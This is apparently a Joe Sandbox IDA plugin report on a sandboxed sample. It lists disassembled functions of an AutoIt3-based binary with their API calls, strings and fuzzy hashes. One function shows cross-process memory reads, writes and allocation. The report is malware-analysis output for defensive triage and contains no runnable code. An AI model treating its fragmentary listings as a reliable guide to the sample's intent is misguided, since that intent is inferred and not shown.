Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 6a775ca1a928070f859bd833df7ea9331ea6d87413c00acd5a079bef3046493c
Instruction ID: e8e26da6afab61425f101330064a5f0a2938a9df7b2977cf68d25c0ef6f3ec4d
Opcode Fuzzy Hash: 6a775ca1a928070f859bd833df7ea9331ea6d87413c00acd5a079bef3046493c
Instruction Fuzzy Hash: 47218435A00204AFD714EF69DC88AAABBF6EF48311F148479F84AD7352CB70AD41CB90

Function 005D12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 005D134D
SelectObject.GDI32(?,00000000), ref: 005D135C
BeginPath.GDI32(?), ref: 005D1373
SelectObject.GDI32(?,00000000), ref: 005D139C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: c9daa1002dd67506703f60b84f4677859153e1a6914ffbe306a15beeafcc09c4
Instruction ID: e2c030907f8760fba6f8d0daaf4b7cead398fde79fe22be9f8ffd56b46b0caa6
Opcode Fuzzy Hash: c9daa1002dd67506703f60b84f4677859153e1a6914ffbe306a15beeafcc09c4
Instruction Fuzzy Hash: B9219230911B18EFDB22DF19DD047697BAAFB00322F185617F412966B0D7719891CF94

Function 00634A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00634ABA
__beginthreadex.LIBCMT ref: 00634AD8
MessageBoxW.USER32(?,?,?,?), ref: 00634AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00634B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00634B0A

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 3d51a3e5d0ad0ccbaaf0079d9d6cd85c82d1aed900b5b3bf78860379e3279fa3
Instruction ID: f4eee6fc0f364e34ec41175ad6fd727a64f8f82cabf6d8e4792f18197217aba6
Opcode Fuzzy Hash: 3d51a3e5d0ad0ccbaaf0079d9d6cd85c82d1aed900b5b3bf78860379e3279fa3
Instruction Fuzzy Hash: 1F110876905608BBD7119FA8DC08ADBBFAEEB45321F14426AF915D3350DA71D90087E0

Function 00628202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0062821E
GetLastError.KERNEL32(?,00627CE2,?,?,?), ref: 00628228
GetProcessHeap.KERNEL32(00000008,?,?,00627CE2,?,?,?), ref: 00628237
HeapAlloc.KERNEL32(00000000,?,00627CE2,?,?,?), ref: 0062823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00628255

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 12e756b4582d1ccd3acc4d7f904448f124ddc8591557f353f96e0a7f06d213b4
Instruction ID: 952ca336c1ccba7095c6ca9e3aa7d18f6e11ccc84d6214de6617012258ceb636
Opcode Fuzzy Hash: 12e756b4582d1ccd3acc4d7f904448f124ddc8591557f353f96e0a7f06d213b4
Instruction Fuzzy Hash: 0A011271602715FFDB208FA5EC48DAB7B6EEF85755B500569F849C3260DA319D00DAA0

Function 0062710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?,?,?,00627455), ref: 00627127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?,?), ref: 00627142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?,?), ref: 00627150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?), ref: 00627160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?,?), ref: 0062716C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 41efe542a24f3bfe90bdfdfe46b64682ce59a447b3c9586c17588d571bcb7029
Instruction ID: bd20743391fc7aab866bd2b2620da1b467bd9f8f549c9d3a7b450b3bef017f03
Opcode Fuzzy Hash: 41efe542a24f3bfe90bdfdfe46b64682ce59a447b3c9586c17588d571bcb7029
Instruction Fuzzy Hash: E5018F72A01724BBDB118F64EC48FAA7BBEEF44792F180064FD04D6220D731DD519BA0

Function 00635244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00635260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0063526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00635276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00635280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006352BC

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 38c3aab0dccb712b2db35fe4f6f0a492968225f58fde123d8611e68056842981
Instruction ID: 9fad07eecb4da5d138cf9fa77e6207c7d5d4d92cb3e39e017e2376a5ba454466
Opcode Fuzzy Hash: 38c3aab0dccb712b2db35fe4f6f0a492968225f58fde123d8611e68056842981
Instruction Fuzzy Hash: 02012931D01A1DDBCF14EFE4E8499EEBB7AFB09712F400556E946B3290CB30965087A5

Function 0062810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00628121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0062812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0062813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00628141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00628157

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 2bab3f6dbe1af47dacc02af88216d68284127ec2ddc73630072e0d122528eedf
Instruction ID: 5dca8e45248dda2a3c197e8956d6951369fe0f5162c51c82e90dfe4ffc4ce68f
Opcode Fuzzy Hash: 2bab3f6dbe1af47dacc02af88216d68284127ec2ddc73630072e0d122528eedf
Instruction Fuzzy Hash: 10F0C270202726AFEB214FA4EC8DEAB3BAEFF49755F000025F985C3290CB619C51DE60

Function 0062C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0062C1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 0062C20E
MessageBeep.USER32(00000000), ref: 0062C226
KillTimer.USER32(?,0000040A), ref: 0062C242
EndDialog.USER32(?,00000001), ref: 0062C25C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 9d3e2efc956aa842e2556308446ca4d67db0109e92db9d1a6f2a45b825d617d9
Instruction ID: 1cbb6c4f47a6b9aafcd20a14a701b32b997024115651227cb891e767d7bf9382
Opcode Fuzzy Hash: 9d3e2efc956aa842e2556308446ca4d67db0109e92db9d1a6f2a45b825d617d9
Instruction Fuzzy Hash: 1001A730404B1497EB20AB64ED4EF9677BABF00706F00026AB542915E0DBE069448F50

Function 005D13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 005D13BF
StrokeAndFillPath.GDI32(?,?,0060B888,00000000,?), ref: 005D13DB
SelectObject.GDI32(?,00000000), ref: 005D13EE
DeleteObject.GDI32 ref: 005D1401
StrokePath.GDI32(?), ref: 005D141C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 4295c2a913c7cf10e46d0f95c64a76269a9de44e42b84e93aca947558b844ee9
Instruction ID: 5f5dbfcd43a9a21758af44be8fd4c5355021129999ffa7d034468f056421206f
Opcode Fuzzy Hash: 4295c2a913c7cf10e46d0f95c64a76269a9de44e42b84e93aca947558b844ee9
Instruction Fuzzy Hash: 8BF0F430015B18EBDB229F1AED4C7583FAAB701326F0CA227F46A495F1C7314595DF54

Function 0063C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0063C432
CoCreateInstance.OLE32(00662D6C,00000000,00000001,00662BDC,?), ref: 0063C44A

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

CoUninitialize.OLE32 ref: 0063C6B7

Strings

.lnk, xrefs: 0063C3C6, 0063C3EE, 0063C3F8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 5f7877c76448ee25a1a748e03b18824665181bd89059330b017fa3852d10ece7
Instruction ID: 36e7cedd24e334168cde563b9ce3044cd55f8746eb91fdc9e08354e4ee95d9c7
Opcode Fuzzy Hash: 5f7877c76448ee25a1a748e03b18824665181bd89059330b017fa3852d10ece7
Instruction Fuzzy Hash: BAA14A71104206AFD310EF58C895EABBBEDFFC9314F00491EF15597292EB71A949CB92

Function 005E2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 005F0DB6: std::exception::exception.LIBCMT ref: 005F0DEC
Part of subcall function 005F0DB6: __CxxThrowException@8.LIBCMT ref: 005F0E01

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 005D7A51: _memmove.LIBCMT ref: 005D7AAB

__swprintf.LIBCMT ref: 005E2ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 005E2D66

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 7904e30d0409a60f09b4d33c7d05f92f781707119516ffd10c6e385636ef6aaa
Instruction ID: 064e7b1b7dd0c0774c5fe5b7f5980006eeb1d9e662393fde34074cc2225377e1
Opcode Fuzzy Hash: 7904e30d0409a60f09b4d33c7d05f92f781707119516ffd10c6e385636ef6aaa
Instruction Fuzzy Hash: C59181711082569FC728EF28C899CBEBBA9FF85310F04491EF5959B3A1EA30ED44C752

Function 0063B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 005D4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005D4743,?,?,005D37AE,?), ref: 005D4770

CoInitialize.OLE32(00000000), ref: 0063B9BB
CoCreateInstance.OLE32(00662D6C,00000000,00000001,00662BDC,?), ref: 0063B9D4
CoUninitialize.OLE32 ref: 0063B9F1

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

Strings

.lnk, xrefs: 0063B99D, 0063B9AB

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 92aeb38ae74ab898460a3f893842c491c91a0f0a96cf8a41f47e3d156c70af4e
Instruction ID: e93a38ad7985fcb450f91d74d0153199067b281b8cd5db978e6debc36104f760
Opcode Fuzzy Hash: 92aeb38ae74ab898460a3f893842c491c91a0f0a96cf8a41f47e3d156c70af4e
Instruction Fuzzy Hash: 61A169756043069FC710DF18C484D5ABBE6FF89714F04895AF99A9B3A1CB31EC45CB91

Function 0062B2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0062B4BE

Strings

Container, xrefs: 0062B43B
%f, xrefs: 0062B561
AutoIt3GUI, xrefs: 0062B436

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%f
API String ID: 3565006973-1454378043
Opcode ID: 08bccecac60fca017790a7974fd3f31d81135839988027a697cde220d05b6aa2
Instruction ID: b1b4c2671fafc6223ebe9babbd5e8d25249049cbe9d0af7f59881459fe7ddb72
Opcode Fuzzy Hash: 08bccecac60fca017790a7974fd3f31d81135839988027a697cde220d05b6aa2
Instruction Fuzzy Hash: 5C915A70600A12AFDB14DF64D884AAABBE6FF48710F24956DE94ADB391DB70E841CF50

Function 005F501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 005F50AD

Part of subcall function 006000F0: __87except.LIBCMT ref: 0060012B

Strings

pow, xrefs: 005F5085, 005F50A2

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 4a2abd4eb7f73546fcda41769519b1e0d0a3577fdfe11758ec2632fbc6025082
Instruction ID: 17f7e9f1af06e26e77fd101c8e8f885ec346bf28d4834e42f7c62792884b48b4
Opcode Fuzzy Hash: 4a2abd4eb7f73546fcda41769519b1e0d0a3577fdfe11758ec2632fbc6025082
Instruction Fuzzy Hash: 26517D3094C90696EB197714C80937F2F9BBB40700F208D99E6D5863D9FE788ED4D686

Function 00618584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0061862B
_memmove.LIBCMT ref: 00618685

Strings

3c^, xrefs: 0061860C
_^, xrefs: 006186FF, 0061DFDC, 0061DFF8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove
String ID: 3c^$_^
API String ID: 4104443479-3555050690
Opcode ID: 55a6e33a09378e38cd0643bbdf0c7944d4e983046daefaff5b7e054d7fbbc9b5
Instruction ID: eeb53f4c3a56f3530287db0b9b9a3276381bc865d709fd11f4d3162233554eb4
Opcode Fuzzy Hash: 55a6e33a09378e38cd0643bbdf0c7944d4e983046daefaff5b7e054d7fbbc9b5
Instruction Fuzzy Hash: A1513B70A00619DFCB64CF69C884AEEBBF2FF44304F188529E85AD7350EB31A995CB51

Function 006297F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006314BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00629296,?,?,00000034,00000800,?,00000034), ref: 006314E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0062983F

Part of subcall function 00631487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006292C5,?,?,00000800,?,00001073,00000000,?,?), ref: 006314B1

Part of subcall function 006313DE: GetWindowThreadProcessId.USER32(?,?), ref: 00631409
Part of subcall function 006313DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0062925A,00000034,?,?,00001004,00000000,00000000), ref: 00631419
Part of subcall function 006313DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0062925A,00000034,?,?,00001004,00000000,00000000), ref: 0063142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006298AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006298F9

Strings

@, xrefs: 00629911

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 3d063372c1efb0a38cd0bb24d696c1e577aae622380e32116e7a853633c646cb
Instruction ID: 3cbc03fda926d404811c817639ce1273b879d21f08d206f3a4f012e3fdecd4b0
Opcode Fuzzy Hash: 3d063372c1efb0a38cd0bb24d696c1e577aae622380e32116e7a853633c646cb
Instruction Fuzzy Hash: 35415E76901218AFDB10DFA4CD85ADEBBB9EF4A300F044099F945B7281DA716E85CFA0

Function 00657946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0065F910,00000000,?,?,?,?), ref: 006579DF
GetWindowLongW.USER32 ref: 006579FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00657A0C

Strings

SysTreeView32, xrefs: 006579B1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: a7d7e003b1ae8abb9282098fb8c50287d068ec807f2cabad38dc4662395c22a1
Instruction ID: b0937294ce9364423db0f294ea1a32f38f91237216a33254ad073a654897973d
Opcode Fuzzy Hash: a7d7e003b1ae8abb9282098fb8c50287d068ec807f2cabad38dc4662395c22a1
Instruction Fuzzy Hash: 3031D031204606AFDB119F38DC45BEA7BAAFF45325F204725F875932E0D730E9558B60

Function 006573D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

